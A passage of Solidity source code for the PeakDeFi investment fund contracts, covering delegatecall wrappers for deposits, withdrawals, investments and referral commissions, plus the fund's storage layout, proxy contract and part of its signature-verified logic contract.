_manager, _cycle ) ); if (!success) { return (0, 0); } return abi.decode(result, (uint256, uint256)); } /** * Parameter setters */ /** * @notice Changes the address to which the developer fees will be sent. Only callable by owner. * @param _newAddr the new developer fee address */ function changeDeveloperFeeAccount(address payable _newAddr) public onlyOwner { require(_newAddr != address(0) && _newAddr != address(this)); devFundingAccount = _newAddr; } /** * @notice Changes the proportion of fund balance sent to the developers each cycle. May only decrease. Only callable by owner. * @param _newProp the new proportion, fixed point decimal */ function changeDeveloperFeeRate(uint256 _newProp) public onlyOwner { require(_newProp < PRECISION); require(_newProp < devFundingRate); devFundingRate = _newProp; } /** * @notice Allows managers to invest in a token. Only callable by owner. * @param _token address of the token to be listed */ function listKyberToken(address _token) public onlyOwner { isKyberToken[_token] = true; } /** * @notice Allows managers to invest in a Compound token. Only callable by owner. * @param _token address of the Compound token to be listed */ function listCompoundToken(address _token) public onlyOwner { CompoundOrderFactory factory = CompoundOrderFactory( compoundFactoryAddr ); require(factory.tokenIsListed(_token)); isCompoundToken[_token] = true; } /** * @notice Moves the fund to the next phase in the investment cycle. */ function nextPhase() public { (bool success, ) = peakdefiLogic3.delegatecall( abi.encodeWithSelector(this.nextPhase.selector) ); if (!success) { revert(); } } /** * Manager registration */ /** * @notice Registers `msg.sender` as a manager, using USDC as payment. The more one pays, the more RepToken one gets. * There's a max RepToken amount that can be bought, and excess payment will be sent back to sender. */ function registerWithUSDC() public { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector(this.registerWithUSDC.selector) ); if (!success) { revert(); } } /** * @notice Registers `msg.sender` as a manager, using ETH as payment. The more one pays, the more RepToken one gets. * There's a max RepToken amount that can be bought, and excess payment will be sent back to sender. */ function registerWithETH() public payable { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector(this.registerWithETH.selector) ); if (!success) { revert(); } } /** * @notice Registers `msg.sender` as a manager, using tokens as payment. The more one pays, the more RepToken one gets. * There's a max RepToken amount that can be bought, and excess payment will be sent back to sender. * @param _token the token to be used for payment * @param _donationInTokens the amount of tokens to be used for registration, should use the token's native decimals */ function registerWithToken(address _token, uint256 _donationInTokens) public { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector( this.registerWithToken.selector, _token, _donationInTokens ) ); if (!success) { revert(); } } /** * Intermission phase functions */ /** * @notice Deposit Ether into the fund. Ether will be converted into USDC. */ function depositEther(address _referrer) public payable { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector(this.depositEther.selector, _referrer) ); if (!success) { revert(); } } function depositEtherAdvanced( bool _useKyber, bytes calldata _calldata, address _referrer ) external payable { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector( this.depositEtherAdvanced.selector, _useKyber, _calldata, _referrer ) ); if (!success) { revert(); } } /** * @notice Deposit USDC Stablecoin into the fund. * @param _usdcAmount The amount of USDC to be deposited. May be different from actual deposited amount. */ function depositUSDC(uint256 _usdcAmount, address _referrer) public { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector( this.depositUSDC.selector, _usdcAmount, _referrer ) ); if (!success) { revert(); } } /** * @notice Deposit ERC20 tokens into the fund. Tokens will be converted into USDC. * @param _tokenAddr the address of the token to be deposited * @param _tokenAmount The amount of tokens to be deposited. May be different from actual deposited amount. */ function depositToken( address _tokenAddr, uint256 _tokenAmount, address _referrer ) public { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector( this.depositToken.selector, _tokenAddr, _tokenAmount, _referrer ) ); if (!success) { revert(); } } function depositTokenAdvanced( address _tokenAddr, uint256 _tokenAmount, bool _useKyber, bytes calldata _calldata, address _referrer ) external { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector( this.depositTokenAdvanced.selector, _tokenAddr, _tokenAmount, _useKyber, _calldata, _referrer ) ); if (!success) { revert(); } } /** * @notice Withdraws Ether by burning Shares. * @param _amountInUSDC Amount of funds to be withdrawn expressed in USDC. Fixed-point decimal. May be different from actual amount. */ function withdrawEther(uint256 _amountInUSDC) external { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector(this.withdrawEther.selector, _amountInUSDC) ); if (!success) { revert(); } } function withdrawEtherAdvanced( uint256 _amountInUSDC, bool _useKyber, bytes calldata _calldata ) external { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector( this.withdrawEtherAdvanced.selector, _amountInUSDC, _useKyber, _calldata ) ); if (!success) { revert(); } } /** * @notice Withdraws Ether by burning Shares. * @param _amountInUSDC Amount of funds to be withdrawn expressed in USDC. Fixed-point decimal. May be different from actual amount. */ function withdrawUSDC(uint256 _amountInUSDC) public { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector(this.withdrawUSDC.selector, _amountInUSDC) ); if (!success) { revert(); } } /** * @notice Withdraws funds by burning Shares, and converts the funds into the specified token using Kyber Network. * @param _tokenAddr the address of the token to be withdrawn into the caller's account * @param _amountInUSDC The amount of funds to be withdrawn expressed in USDC. Fixed-point decimal. May be different from actual amount. */ function withdrawToken(address _tokenAddr, uint256 _amountInUSDC) external { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector( this.withdrawToken.selector, _tokenAddr, _amountInUSDC ) ); if (!success) { revert(); } } function withdrawTokenAdvanced( address _tokenAddr, uint256 _amountInUSDC, bool _useKyber, bytes calldata _calldata ) external { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector( this.withdrawTokenAdvanced.selector, _tokenAddr, _amountInUSDC, _useKyber, _calldata ) ); if (!success) { revert(); } } /** * @notice Redeems commission. */ function redeemCommission(bool _inShares) public { (bool success, ) = peakdefiLogic3.delegatecall( abi.encodeWithSelector(this.redeemCommission.selector, _inShares) ); if (!success) { revert(); } } /** * @notice Redeems commission for a particular cycle. * @param _inShares true to redeem in PeakDeFi Shares, false to redeem in USDC * @param _cycle the cycle for which the commission will be redeemed. * Commissions for a cycle will be redeemed during the Intermission phase of the next cycle, so _cycle must < cycleNumber. */ function redeemCommissionForCycle(bool _inShares, uint256 _cycle) public { (bool success, ) = peakdefiLogic3.delegatecall( abi.encodeWithSelector( this.redeemCommissionForCycle.selector, _inShares, _cycle ) ); if (!success) { revert(); } } /** * @notice Sells tokens left over due to manager not selling or KyberNetwork not having enough volume. Callable by anyone. Money goes to developer. * @param _tokenAddr address of the token to be sold * @param _calldata the 1inch trade call data */ function sellLeftoverToken(address _tokenAddr, bytes calldata _calldata) external { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector( this.sellLeftoverToken.selector, _tokenAddr, _calldata ) ); if (!success) { revert(); } } /** * @notice Sells CompoundOrder left over due to manager not selling or KyberNetwork not having enough volume. Callable by anyone. Money goes to developer. * @param _orderAddress address of the CompoundOrder to be sold */ function sellLeftoverCompoundOrder(address payable _orderAddress) public { (bool success, ) = peakdefiLogic2.delegatecall( abi.encodeWithSelector( this.sellLeftoverCompoundOrder.selector, _orderAddress ) ); if (!success) { revert(); } } /** * @notice Burns the RepToken balance of a manager who has been inactive for a certain number of cycles * @param _deadman the manager whose RepToken balance will be burned */ function burnDeadman(address _deadman) public { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector(this.burnDeadman.selector, _deadman) ); if (!success) { revert(); } } /** * Manage phase functions */ function createInvestmentWithSignature( address _tokenAddress, uint256 _stake, uint256 _maxPrice, bytes calldata _calldata, bool _useKyber, address _manager, uint256 _salt, bytes calldata _signature ) external { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.createInvestmentWithSignature.selector, _tokenAddress, _stake, _maxPrice, _calldata, _useKyber, _manager, _salt, _signature ) ); if (!success) { revert(); } } function sellInvestmentWithSignature( uint256 _investmentId, uint256 _tokenAmount, uint256 _minPrice, uint256 _maxPrice, bytes calldata _calldata, bool _useKyber, address _manager, uint256 _salt, bytes calldata _signature ) external { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.sellInvestmentWithSignature.selector, _investmentId, _tokenAmount, _minPrice, _maxPrice, _calldata, _useKyber, _manager, _salt, _signature ) ); if (!success) { revert(); } } function createCompoundOrderWithSignature( bool _orderType, address _tokenAddress, uint256 _stake, uint256 _minPrice, uint256 _maxPrice, address _manager, uint256 _salt, bytes calldata _signature ) external { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.createCompoundOrderWithSignature.selector, _orderType, _tokenAddress, _stake, _minPrice, _maxPrice, _manager, _salt, _signature ) ); if (!success) { revert(); } } function sellCompoundOrderWithSignature( uint256 _orderId, uint256 _minPrice, uint256 _maxPrice, address _manager, uint256 _salt, bytes calldata _signature ) external { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.sellCompoundOrderWithSignature.selector, _orderId, _minPrice, _maxPrice, _manager, _salt, _signature ) ); if (!success) { revert(); } } function repayCompoundOrderWithSignature( uint256 _orderId, uint256 _repayAmountInUSDC, address _manager, uint256 _salt, bytes calldata _signature ) external { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.repayCompoundOrderWithSignature.selector, _orderId, _repayAmountInUSDC, _manager, _salt, _signature ) ); if (!success) { revert(); } } /** * @notice Creates a new investment for an ERC20 token. * @param _tokenAddress address of the ERC20 token contract * @param _stake amount of RepTokens to be staked in support of the investment * @param _maxPrice the maximum price for the trade */ function createInvestment( address _tokenAddress, uint256 _stake, uint256 _maxPrice ) public { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.createInvestment.selector, _tokenAddress, _stake, _maxPrice ) ); if (!success) { revert(); } } /** * @notice Creates a new investment for an ERC20 token. * @param _tokenAddress address of the ERC20 token contract * @param _stake amount of RepTokens to be staked in support of the investment * @param _maxPrice the maximum price for the trade * @param _calldata calldata for 1inch trading * @param _useKyber true for Kyber Network, false for 1inch */ function createInvestmentV2( address _sender, address _tokenAddress, uint256 _stake, uint256 _maxPrice, bytes memory _calldata, bool _useKyber ) public { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.createInvestmentV2.selector, _sender, _tokenAddress, _stake, _maxPrice, _calldata, _useKyber ) ); if (!success) { revert(); } } /** * @notice Called by user to sell the assets an investment invested in. Returns the staked RepToken plus rewards/penalties to the user. * The user can sell only part of the investment by changing _tokenAmount. * @dev When selling only part of an investment, the old investment would be "fully" sold and a new investment would be created with * the original buy price and however much tokens that are not sold. * @param _investmentId the ID of the investment * @param _tokenAmount the amount of tokens to be sold. * @param _minPrice the minimum price for the trade */ function sellInvestmentAsset( uint256 _investmentId, uint256 _tokenAmount, uint256 _minPrice ) public { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.sellInvestmentAsset.selector, _investmentId, _tokenAmount, _minPrice ) ); if (!success) { revert(); } } /** * @notice Called by user to sell the assets an investment invested in. Returns the staked RepToken plus rewards/penalties to the user. * The user can sell only part of the investment by changing _tokenAmount. * @dev When selling only part of an investment, the old investment would be "fully" sold and a new investment would be created with * the original buy price and however much tokens that are not sold. * @param _investmentId the ID of the investment * @param _tokenAmount the amount of tokens to be sold. * @param _minPrice the minimum price for the trade */ function sellInvestmentAssetV2( address _sender, uint256 _investmentId, uint256 _tokenAmount, uint256 _minPrice, bytes memory _calldata, bool _useKyber ) public { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.sellInvestmentAssetV2.selector, _sender, _investmentId, _tokenAmount, _minPrice, _calldata, _useKyber ) ); if (!success) { revert(); } } /** * @notice Creates a new Compound order to either short or leverage long a token. * @param _orderType true for a short order, false for a levarage long order * @param _tokenAddress address of the Compound token to be traded * @param _stake amount of RepTokens to be staked * @param _minPrice the minimum token price for the trade * @param _maxPrice the maximum token price for the trade */ function createCompoundOrder( address _sender, bool _orderType, address _tokenAddress, uint256 _stake, uint256 _minPrice, uint256 _maxPrice ) public { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.createCompoundOrder.selector, _sender, _orderType, _tokenAddress, _stake, _minPrice, _maxPrice ) ); if (!success) { revert(); } } /** * @notice Sells a compound order * @param _orderId the ID of the order to be sold (index in userCompoundOrders[msg.sender]) * @param _minPrice the minimum token price for the trade * @param _maxPrice the maximum token price for the trade */ function sellCompoundOrder( address _sender, uint256 _orderId, uint256 _minPrice, uint256 _maxPrice ) public { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.sellCompoundOrder.selector, _sender, _orderId, _minPrice, _maxPrice ) ); if (!success) { revert(); } } /** * @notice Repys debt for a Compound order to prevent the collateral ratio from dropping below threshold. * @param _orderId the ID of the Compound order * @param _repayAmountInUSDC amount of USDC to use for repaying debt */ function repayCompoundOrder( address _sender, uint256 _orderId, uint256 _repayAmountInUSDC ) public { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.repayCompoundOrder.selector, _sender, _orderId, _repayAmountInUSDC ) ); if (!success) { revert(); } } /** * @notice Emergency exit the tokens from order contract during intermission stage * @param _sender the address of trader, who created the order * @param _orderId the ID of the Compound order * @param _tokenAddr the address of token which should be transferred * @param _receiver the address of receiver */ function emergencyExitCompoundTokens( address _sender, uint256 _orderId, address _tokenAddr, address _receiver ) public onlyOwner { (bool success, ) = peakdefiLogic.delegatecall( abi.encodeWithSelector( this.emergencyExitCompoundTokens.selector, _sender, _orderId, _tokenAddr, _receiver ) ); if (!success) { revert(); } } /** * Internal use functions */ // MiniMe TokenController functions, not used right now /** * @notice Called when `_owner` sends ether to the MiniMe Token contract * @return True if the ether is accepted, false if it throws */ function proxyPayment( address /*_owner*/ ) public payable returns (bool) { return false; } /** * @notice Notifies the controller about a token transfer allowing the * controller to react if desired * @return False if the controller does not authorize the transfer */ function onTransfer( address, /*_from*/ address, /*_to*/ uint256 /*_amount*/ ) public returns (bool) { return true; } /** * @notice Notifies the controller about an approval allowing the * controller to react if desired * @return False if the controller does not authorize the approval */ function onApprove( address, /*_owner*/ address, /*_spender*/ uint256 /*_amount*/ ) public returns (bool) { return true; } function() external payable {} /** PeakDeFi */ /** * @notice Returns the commission balance of `_referrer` * @return the commission balance and the received penalty, denoted in USDC */ function peakReferralCommissionBalanceOf(address _referrer) public returns (uint256 _commission) { (bool success, bytes memory result) = peakdefiLogic3.delegatecall( abi.encodeWithSelector( this.peakReferralCommissionBalanceOf.selector, _referrer ) ); if (!success) { return 0; } return abi.decode(result, (uint256)); } /** * @notice Returns the commission amount received by `_referrer` in the `_cycle`th cycle * @return the commission amount and the received penalty, denoted in USDC */ function peakReferralCommissionOfAt(address _referrer, uint256 _cycle) public returns (uint256 _commission) { (bool success, bytes memory result) = peakdefiLogic3.delegatecall( abi.encodeWithSelector( this.peakReferralCommissionOfAt.selector, _referrer, _cycle ) ); if (!success) { return 0; } return abi.decode(result, (uint256)); } /** * @notice Redeems commission. */ function peakReferralRedeemCommission() public { (bool success, ) = peakdefiLogic3.delegatecall( abi.encodeWithSelector(this.peakReferralRedeemCommission.selector) ); if (!success) { revert(); } } /** * @notice Redeems commission for a particular cycle. * @param _cycle the cycle for which the commission will be redeemed. * Commissions for a cycle will be redeemed during the Intermission phase of the next cycle, so _cycle must < cycleNumber. */ function peakReferralRedeemCommissionForCycle(uint256 _cycle) public { (bool success, ) = peakdefiLogic3.delegatecall( abi.encodeWithSelector( this.peakReferralRedeemCommissionForCycle.selector, _cycle ) ); if (!success) { revert(); } } /** * @notice Changes the required PEAK stake of a new manager. Only callable by owner. * @param _newValue the new value */ function peakChangeManagerStakeRequired(uint256 _newValue) public onlyOwner { peakManagerStakeRequired = _newValue; } } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "./lib/ReentrancyGuard.sol"; import "./interfaces/IMiniMeToken.sol"; import "./tokens/minime/TokenController.sol"; import "./Utils.sol"; import "./PeakDeFiProxyInterface.sol"; import "./peak/reward/PeakReward.sol"; import "./peak/staking/PeakStaking.sol"; /** * @title The storage layout of PeakDeFiFund * @author Zefram Lou (Zebang Liu) */ contract PeakDeFiStorage is Ownable, ReentrancyGuard { using SafeMath for uint256; enum CyclePhase {Intermission, Manage} enum VoteDirection {Empty, For, Against} enum Subchunk {Propose, Vote} struct Investment { address tokenAddress; uint256 cycleNumber; uint256 stake; uint256 tokenAmount; uint256 buyPrice; // token buy price in 18 decimals in USDC uint256 sellPrice; // token sell price in 18 decimals in USDC uint256 buyTime; uint256 buyCostInUSDC; bool isSold; } // Fund parameters uint256 public constant COMMISSION_RATE = 15 * (10**16); // The proportion of profits that gets distributed to RepToken holders every cycle. uint256 public constant ASSET_FEE_RATE = 1 * (10**15); // The proportion of fund balance that gets distributed to RepToken holders every cycle. uint256 public constant NEXT_PHASE_REWARD = 1 * (10**18); // Amount of RepToken rewarded to the user who calls nextPhase(). uint256 public constant COLLATERAL_RATIO_MODIFIER = 75 * (10**16); // Modifies Compound's collateral ratio, gets 2:1 from 1.5:1 ratio uint256 public constant MIN_RISK_TIME = 3 days; // Mininum risk taken to get full commissions is 9 days * reptokenBalance uint256 public constant INACTIVE_THRESHOLD = 2; // Number of inactive cycles after which a manager's RepToken balance can be burned uint256 public constant ROI_PUNISH_THRESHOLD = 1 * (10**17); // ROI worse than 10% will see punishment in stake uint256 public constant ROI_BURN_THRESHOLD = 25 * (10**16); // ROI worse than 25% will see their stake all burned uint256 public constant ROI_PUNISH_SLOPE = 6; // repROI = -(6 * absROI - 0.5) uint256 public constant ROI_PUNISH_NEG_BIAS = 5 * (10**17); // repROI = -(6 * absROI - 0.5) uint256 public constant PEAK_COMMISSION_RATE = 20 * (10**16); // The proportion of profits that gets distributed to PeakDeFi referrers every cycle. // Instance variables // Checks if the token listing initialization has been completed. bool public hasInitializedTokenListings; // Checks if the fund has been initialized bool public isInitialized; // Address of the RepToken token contract. address public controlTokenAddr; // Address of the share token contract. address public shareTokenAddr; // Address of the PeakDeFiProxy contract. address payable public proxyAddr; // Address of the CompoundOrderFactory contract. address public compoundFactoryAddr; // Address of the PeakDeFiLogic contract. address public peakdefiLogic; address public peakdefiLogic2; address public peakdefiLogic3; // Address to which the development team funding will be sent. address payable public devFundingAccount; // Address of the previous version of PeakDeFiFund. address payable public previousVersion; // The number of the current investment cycle. uint256 public cycleNumber; // The amount of funds held by the fund. uint256 public totalFundsInUSDC; // The total funds at the beginning of the current management phase uint256 public totalFundsAtManagePhaseStart; // The start time for the current investment cycle phase, in seconds since Unix epoch. uint256 public startTimeOfCyclePhase; // The proportion of PeakDeFi Shares total supply to mint and use for funding the development team. Fixed point decimal. uint256 public devFundingRate; // Total amount of commission unclaimed by managers uint256 public totalCommissionLeft; // Stores the lengths of each cycle phase in seconds. uint256[2] public phaseLengths; // The number of managers onboarded during the current cycle uint256 public managersOnboardedThisCycle; // The amount of RepToken tokens a new manager receves uint256 public newManagerRepToken; // The max number of new managers that can be onboarded in one cycle uint256 public maxNewManagersPerCycle; // The price of RepToken in USDC uint256 public reptokenPrice; // The last cycle where a user redeemed all of their remaining commission. mapping(address => uint256) internal _lastCommissionRedemption; // Marks whether a manager has redeemed their commission for a certain cycle mapping(address => mapping(uint256 => bool)) internal _hasRedeemedCommissionForCycle; // The stake-time measured risk that a manager has taken in a cycle mapping(address => mapping(uint256 => uint256)) internal _riskTakenInCycle; // In case a manager joined the fund during the current cycle, set the fallback base stake for risk threshold calculation mapping(address => uint256) internal _baseRiskStakeFallback; // List of investments of a manager in the current cycle. mapping(address => Investment[]) public userInvestments; // List of short/long orders of a manager in the current cycle. mapping(address => address payable[]) public userCompoundOrders; // Total commission to be paid for work done in a certain cycle (will be redeemed in the next cycle's Intermission) mapping(uint256 => uint256) internal _totalCommissionOfCycle; // The block number at which the Manage phase ended for a given cycle mapping(uint256 => uint256) internal _managePhaseEndBlock; // The last cycle where a manager made an investment mapping(address => uint256) internal _lastActiveCycle; // Checks if an address points to a whitelisted Kyber token. mapping(address => bool) public isKyberToken; // Checks if an address points to a whitelisted Compound token. Returns false for cUSDC and other stablecoin CompoundTokens. mapping(address => bool) public isCompoundToken; // The current cycle phase. CyclePhase public cyclePhase; // Upgrade governance related variables bool public hasFinalizedNextVersion; // Denotes if the address of the next smart contract version has been finalized address payable public nextVersion; // Address of the next version of PeakDeFiFund. // Contract instances IMiniMeToken internal cToken; IMiniMeToken internal sToken; PeakDeFiProxyInterface internal proxy; // PeakDeFi uint256 public peakReferralTotalCommissionLeft; uint256 public peakManagerStakeRequired; mapping(uint256 => uint256) internal _peakReferralTotalCommissionOfCycle; mapping(address => uint256) internal _peakReferralLastCommissionRedemption; mapping(address => mapping(uint256 => bool)) internal _peakReferralHasRedeemedCommissionForCycle; IMiniMeToken public peakReferralToken; PeakReward public peakReward; PeakStaking public peakStaking; bool public isPermissioned; mapping(address => mapping(uint256 => bool)) public hasUsedSalt; // Events event ChangedPhase( uint256 indexed _cycleNumber, uint256 indexed _newPhase, uint256 _timestamp, uint256 _totalFundsInUSDC ); event Deposit( uint256 indexed _cycleNumber, address indexed _sender, address _tokenAddress, uint256 _tokenAmount, uint256 _usdcAmount, uint256 _timestamp ); event Withdraw( uint256 indexed _cycleNumber, address indexed _sender, address _tokenAddress, uint256 _tokenAmount, uint256 _usdcAmount, uint256 _timestamp ); event CreatedInvestment( uint256 indexed _cycleNumber, address indexed _sender, uint256 _id, address _tokenAddress, uint256 _stakeInWeis, uint256 _buyPrice, uint256 _costUSDCAmount, uint256 _tokenAmount ); event SoldInvestment( uint256 indexed _cycleNumber, address indexed _sender, uint256 _id, address _tokenAddress, uint256 _receivedRepToken, uint256 _sellPrice, uint256 _earnedUSDCAmount ); event CreatedCompoundOrder( uint256 indexed _cycleNumber, address indexed _sender, uint256 _id, address _order, bool _orderType, address _tokenAddress, uint256 _stakeInWeis, uint256 _costUSDCAmount ); event SoldCompoundOrder( uint256 indexed _cycleNumber, address indexed _sender, uint256 _id, address _order, bool _orderType, address _tokenAddress, uint256 _receivedRepToken, uint256 _earnedUSDCAmount ); event RepaidCompoundOrder( uint256 indexed _cycleNumber, address indexed _sender, uint256 _id, address _order, uint256 _repaidUSDCAmount ); event CommissionPaid( uint256 indexed _cycleNumber, address indexed _sender, uint256 _commission ); event TotalCommissionPaid( uint256 indexed _cycleNumber, uint256 _totalCommissionInUSDC ); event Register( address indexed _manager, uint256 _donationInUSDC, uint256 _reptokenReceived ); event BurnDeadman(address indexed _manager, uint256 _reptokenBurned); event DeveloperInitiatedUpgrade( uint256 indexed _cycleNumber, address _candidate ); event FinalizedNextVersion( uint256 indexed _cycleNumber, address _nextVersion ); event PeakReferralCommissionPaid( uint256 indexed _cycleNumber, address indexed _sender, uint256 _commission ); event PeakReferralTotalCommissionPaid( uint256 indexed _cycleNumber, uint256 _totalCommissionInUSDC ); /* Helper functions shared by both PeakDeFiLogic & PeakDeFiFund */ function lastCommissionRedemption(address _manager) public view returns (uint256) { if (_lastCommissionRedemption[_manager] == 0) { return previousVersion == address(0) ? 0 : PeakDeFiStorage(previousVersion).lastCommissionRedemption( _manager ); } return _lastCommissionRedemption[_manager]; } function hasRedeemedCommissionForCycle(address _manager, uint256 _cycle) public view returns (bool) { if (_hasRedeemedCommissionForCycle[_manager][_cycle] == false) { return previousVersion == address(0) ? false : PeakDeFiStorage(previousVersion) .hasRedeemedCommissionForCycle(_manager, _cycle); } return _hasRedeemedCommissionForCycle[_manager][_cycle]; } function riskTakenInCycle(address _manager, uint256 _cycle) public view returns (uint256) { if (_riskTakenInCycle[_manager][_cycle] == 0) { return previousVersion == address(0) ? 0 : PeakDeFiStorage(previousVersion).riskTakenInCycle( _manager, _cycle ); } return _riskTakenInCycle[_manager][_cycle]; } function baseRiskStakeFallback(address _manager) public view returns (uint256) { if (_baseRiskStakeFallback[_manager] == 0) { return previousVersion == address(0) ? 0 : PeakDeFiStorage(previousVersion).baseRiskStakeFallback( _manager ); } return _baseRiskStakeFallback[_manager]; } function totalCommissionOfCycle(uint256 _cycle) public view returns (uint256) { if (_totalCommissionOfCycle[_cycle] == 0) { return previousVersion == address(0) ? 0 : PeakDeFiStorage(previousVersion).totalCommissionOfCycle( _cycle ); } return _totalCommissionOfCycle[_cycle]; } function managePhaseEndBlock(uint256 _cycle) public view returns (uint256) { if (_managePhaseEndBlock[_cycle] == 0) { return previousVersion == address(0) ? 0 : PeakDeFiStorage(previousVersion).managePhaseEndBlock( _cycle ); } return _managePhaseEndBlock[_cycle]; } function lastActiveCycle(address _manager) public view returns (uint256) { if (_lastActiveCycle[_manager] == 0) { return previousVersion == address(0) ? 0 : PeakDeFiStorage(previousVersion).lastActiveCycle(_manager); } return _lastActiveCycle[_manager]; } /** PeakDeFi */ function peakReferralLastCommissionRedemption(address _manager) public view returns (uint256) { if (_peakReferralLastCommissionRedemption[_manager] == 0) { return previousVersion == address(0) ? 0 : PeakDeFiStorage(previousVersion) .peakReferralLastCommissionRedemption(_manager); } return _peakReferralLastCommissionRedemption[_manager]; } function peakReferralHasRedeemedCommissionForCycle( address _manager, uint256 _cycle ) public view returns (bool) { if ( _peakReferralHasRedeemedCommissionForCycle[_manager][_cycle] == false ) { return previousVersion == address(0) ? false : PeakDeFiStorage(previousVersion) .peakReferralHasRedeemedCommissionForCycle( _manager, _cycle ); } return _peakReferralHasRedeemedCommissionForCycle[_manager][_cycle]; } function peakReferralTotalCommissionOfCycle(uint256 _cycle) public view returns (uint256) { if (_peakReferralTotalCommissionOfCycle[_cycle] == 0) { return previousVersion == address(0) ? 0 : PeakDeFiStorage(previousVersion) .peakReferralTotalCommissionOfCycle(_cycle); } return _peakReferralTotalCommissionOfCycle[_cycle]; } } pragma solidity 0.5.17; interface PeakDeFiProxyInterface { function peakdefiFundAddress() external view returns (address payable); function updatePeakDeFiFundAddress() external; } pragma solidity 0.5.17; import "./PeakDeFiFund.sol"; contract PeakDeFiProxy { address payable public peakdefiFundAddress; event UpdatedFundAddress(address payable _newFundAddr); constructor(address payable _fundAddr) public { peakdefiFundAddress = _fundAddr; emit UpdatedFundAddress(_fundAddr); } function updatePeakDeFiFundAddress() public { require(msg.sender == peakdefiFundAddress, "Sender not PeakDeFiFund"); address payable nextVersion = PeakDeFiFund(peakdefiFundAddress) .nextVersion(); require(nextVersion != address(0), "Next version can't be empty"); peakdefiFundAddress = nextVersion; emit UpdatedFundAddress(peakdefiFundAddress); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; import "./PeakDeFiStorage.sol"; import "./derivatives/CompoundOrderFactory.sol"; /** * @title Part of the functions for PeakDeFiFund * @author Zefram Lou (Zebang Liu) */ contract PeakDeFiLogic is PeakDeFiStorage, Utils(address(0), address(0), address(0)) { /** * @notice Executes function only during the given cycle phase. * @param phase the cycle phase during which the function may be called */ modifier during(CyclePhase phase) { require(cyclePhase == phase); if (cyclePhase == CyclePhase.Intermission) { require(isInitialized); } _; } /** * @notice Returns the length of the user's investments array. * @return length of the user's investments array */ function investmentsCount(address _userAddr) public view returns (uint256 _count) { return userInvestments[_userAddr].length; } /** * @notice Burns the RepToken balance of a manager who has been inactive for a certain number of cycles * @param _deadman the manager whose RepToken balance will be burned */ function burnDeadman(address _deadman) public nonReentrant during(CyclePhase.Intermission) { require(_deadman != address(this)); require( cycleNumber.sub(lastActiveCycle(_deadman)) > INACTIVE_THRESHOLD ); uint256 balance = cToken.balanceOf(_deadman); require(cToken.destroyTokens(_deadman, balance)); emit BurnDeadman(_deadman, balance); } /** * @notice Creates a new investment for an ERC20 token. Backwards compatible. * @param _tokenAddress address of the ERC20 token contract * @param _stake amount of RepTokens to be staked in support of the investment * @param _maxPrice the maximum price for the trade */ function createInvestment( address _tokenAddress, uint256 _stake, uint256 _maxPrice ) public { bytes memory nil; createInvestmentV2( msg.sender, _tokenAddress, _stake, _maxPrice, nil, true ); } function createInvestmentWithSignature( address _tokenAddress, uint256 _stake, uint256 _maxPrice, bytes calldata _calldata, bool _useKyber, address _manager, uint256 _salt, bytes calldata _signature ) external { require(!hasUsedSalt[_manager][_salt]); bytes32 naiveHash = keccak256( abi.encodeWithSelector( this.createInvestmentWithSignature.selector, abi.encode( _tokenAddress, _stake, _maxPrice, _calldata, _useKyber ), "|END|", _salt, address(this) ) ); bytes32 msgHash = ECDSA.toEthSignedMessageHash(naiveHash); address recoveredAddress = ECDSA.recover(msgHash, _signature); require(recoveredAddress == _manager); // Signature valid, record use of salt hasUsedSalt[_manager][_salt] = true; this.createInvestmentV2( _manager, _tokenAddress, _stake, _maxPrice, _calldata, _useKyber ); } /** * @notice Called by user to sell the assets an investment invested in. Returns the staked RepToken plus rewards/penalties to the user. * The user can sell only part of the investment by changing _tokenAmount. Backwards compatible. * @dev When selling only part of an investment, the old investment would be "fully" sold and a new investment would be created with * the original buy price and however much tokens that are not sold. * @param _investmentId the ID of the investment * @param _tokenAmount the amount of tokens to be sold. * @param _minPrice the minimum price for the trade */ function sellInvestmentAsset( uint256 _investmentId, uint256 _tokenAmount, uint256 _minPrice ) public { bytes memory nil; sellInvestmentAssetV2( msg.sender, _investmentId, _tokenAmount, _minPrice, nil, true ); } function sellInvestmentWithSignature( uint256 _investmentId, uint256 _tokenAmount, uint256 _minPrice, bytes calldata _calldata, bool _useKyber, address _manager, uint256 _salt, bytes calldata _signature ) external { require(!hasUsedSalt[_manager][_salt]); bytes32 naiveHash = keccak256( abi.encodeWithSelector( this.sellInvestmentWithSignature.selector, abi.encode( _investmentId, _tokenAmount, _minPrice, _calldata, _useKyber ), "|END|", _salt, address(this) ) ); bytes32 msgHash = ECDSA.toEthSignedMessageHash(naiveHash); address recoveredAddress = ECDSA.recover(msgHash, _signature); require(recoveredAddress == _manager); // Signature valid, record use of salt hasUsedSalt[_manager][_salt] = true; 